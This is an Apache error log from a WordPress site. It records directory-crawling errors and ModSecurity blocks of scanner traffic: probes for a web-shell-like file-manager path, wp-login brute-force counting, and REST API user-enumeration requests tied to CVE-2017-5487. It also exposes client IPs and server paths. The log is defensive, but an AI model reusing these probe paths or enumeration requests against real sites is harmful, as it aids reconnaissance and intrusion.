[Mon Mar 02 22:17:23.072616 2026] [autoindex:error] [pid 59701:tid 59726] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:23.716617 2026] [autoindex:error] [pid 59701:tid 59728] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:24.146328 2026] [autoindex:error] [pid 59701:tid 59714] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:28.056778 2026] [autoindex:error] [pid 59701:tid 59720] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:30.284719 2026] [autoindex:error] [pid 59701:tid 59711] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:34.489280 2026] [autoindex:error] [pid 59701:tid 59717] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:34.785895 2026] [autoindex:error] [pid 59701:tid 59706] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:35.208573 2026] [autoindex:error] [pid 59701:tid 59705] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:47.705559 2026] [autoindex:error] [pid 59701:tid 59715] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:49.855087 2026] [autoindex:error] [pid 59701:tid 59707] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:50.172217 2026] [autoindex:error] [pid 59701:tid 59727] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:51.237617 2026] [autoindex:error] [pid 59701:tid 59728] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:51.555642 2026] [autoindex:error] [pid 59701:tid 59714] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:17:51.981846 2026] [autoindex:error] [pid 59701:tid 59721] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:18:52.042127 2026] [autoindex:error] [pid 59701:tid 59709] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:18:52.415657 2026] [autoindex:error] [pid 59701:tid 59711] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:18:52.860663 2026] [autoindex:error] [pid 59701:tid 59712] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:18:53.180054 2026] [autoindex:error] [pid 59701:tid 59726] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:18:59.829088 2026] [autoindex:error] [pid 59701:tid 59706] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:02.157154 2026] [autoindex:error] [pid 59701:tid 59719] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:02.866195 2026] [autoindex:error] [pid 59701:tid 59709] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:04.265515 2026] [autoindex:error] [pid 59701:tid 59728] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:07.601092 2026] [autoindex:error] [pid 59701:tid 59708] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:07.968150 2026] [autoindex:error] [pid 59701:tid 59725] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:08.301825 2026] [autoindex:error] [pid 59701:tid 59710] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:08.627802 2026] [autoindex:error] [pid 59701:tid 59705] [client 216.73.160.221:31931] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:19:52.347707 2026] [autoindex:error] [pid 59701:tid 59716] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:13.584198 2026] [autoindex:error] [pid 59701:tid 59705] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:21.611069 2026] [autoindex:error] [pid 59701:tid 59719] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:21.925095 2026] [autoindex:error] [pid 59701:tid 59727] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:30.846710 2026] [autoindex:error] [pid 59701:tid 59706] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:31.238556 2026] [autoindex:error] [pid 59701:tid 59704] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:31.622775 2026] [autoindex:error] [pid 59701:tid 59726] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:31.975539 2026] [autoindex:error] [pid 59701:tid 59708] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:32.275069 2026] [autoindex:error] [pid 59701:tid 59719] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:32.970645 2026] [autoindex:error] [pid 59701:tid 59727] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:33.450590 2026] [autoindex:error] [pid 59701:tid 59723] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:20:33.754015 2026] [autoindex:error] [pid 59701:tid 59713] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:21:08.999028 2026] [autoindex:error] [pid 59701:tid 59705] [client 216.73.160.220:25391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 22:53:46.861208 2026] [:error] [pid 59734:tid 59739] [client 77.68.74.119:60984] [client 77.68.74.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.74.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaWkepeWQx7ZQG9NybFH2wAAAUM"]
[Tue Mar 03 00:28:15.502165 2026] [:error] [pid 60214:tid 60235] [client 20.151.217.152:50513] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaW6n4muQ_v4S3RkLivSuAAAARM"]
[Tue Mar 03 00:28:15.917610 2026] [:error] [pid 60214:tid 60225] [client 20.151.217.152:50496] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaW6n4muQ_v4S3RkLivSuwAAAQk"]
[Tue Mar 03 00:28:16.334102 2026] [:error] [pid 60214:tid 60239] [client 20.151.217.152:50439] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaW6oImuQ_v4S3RkLivSvQAAARc"]
[Tue Mar 03 00:28:16.744898 2026] [:error] [pid 18960:tid 18980] [client 20.151.217.152:50554] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaW6oNCu09icM9oIHwC-EQAAANE"]
[Tue Mar 03 01:02:04.046757 2026] [:error] [pid 18558:tid 18855] [client 49.51.33.159:59400] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaXCjLO1kQHjTOLioCm5JwAAAIE"]
[Tue Mar 03 01:21:00.982472 2026] [:error] [pid 18556:tid 18759] [client 51.89.225.72:47402] [client 51.89.225.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.225.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaXG_H9AYyTTd2eEk9E9XwAAAAQ"]
[Tue Mar 03 01:23:37.110734 2026] [:error] [pid 18556:tid 18764] [client 20.63.100.156:64618] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXHmX9AYyTTd2eEk9E-DAAAAAk"]
[Tue Mar 03 01:23:37.544072 2026] [:error] [pid 18556:tid 18767] [client 20.63.100.156:65105] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXHmX9AYyTTd2eEk9E-DQAAAAw"]
[Tue Mar 03 01:23:37.989098 2026] [:error] [pid 18557:tid 18830] [client 20.63.100.156:65068] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXHmdngZqR9Tp8JM0FaxAAAAEg"]
[Tue Mar 03 01:23:38.518536 2026] [:error] [pid 18960:tid 18963] [client 20.63.100.156:64597] [client 20.63.100.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXHmtCu09icM9oIHwDeZwAAAMA"]
[Tue Mar 03 02:06:44.630766 2026] [:error] [pid 18960:tid 18972] [client 20.151.217.152:55031] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXRtNCu09icM9oIHwD4jAAAAMk"]
[Tue Mar 03 02:06:45.040163 2026] [:error] [pid 18558:tid 18866] [client 20.151.217.152:55030] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXRtbO1kQHjTOLioCnTpwAAAIw"]
[Tue Mar 03 02:06:45.451304 2026] [:error] [pid 18960:tid 18983] [client 20.151.217.152:54914] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXRtdCu09icM9oIHwD4kgAAANQ"]
[Tue Mar 03 02:06:45.864792 2026] [:error] [pid 60214:tid 60223] [client 20.151.217.152:55035] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaXRtYmuQ_v4S3RkLishwgAAAQc"]
[Tue Mar 03 02:15:53.343925 2026] [:error] [pid 60214:tid 60240] [client 193.189.100.199:43783] [client 193.189.100.199] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aaXT2YmuQ_v4S3RkLisp_QAAARg"], referer: https://vetstars.com.au/
[Tue Mar 03 02:15:55.539509 2026] [:error] [pid 18557:tid 18831] [client 192.42.116.42:34204] [client 192.42.116.42] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/2"] [unique_id "aaXT29ngZqR9Tp8JM0FslgAAAEk"], referer: https://vetstars.com.au/
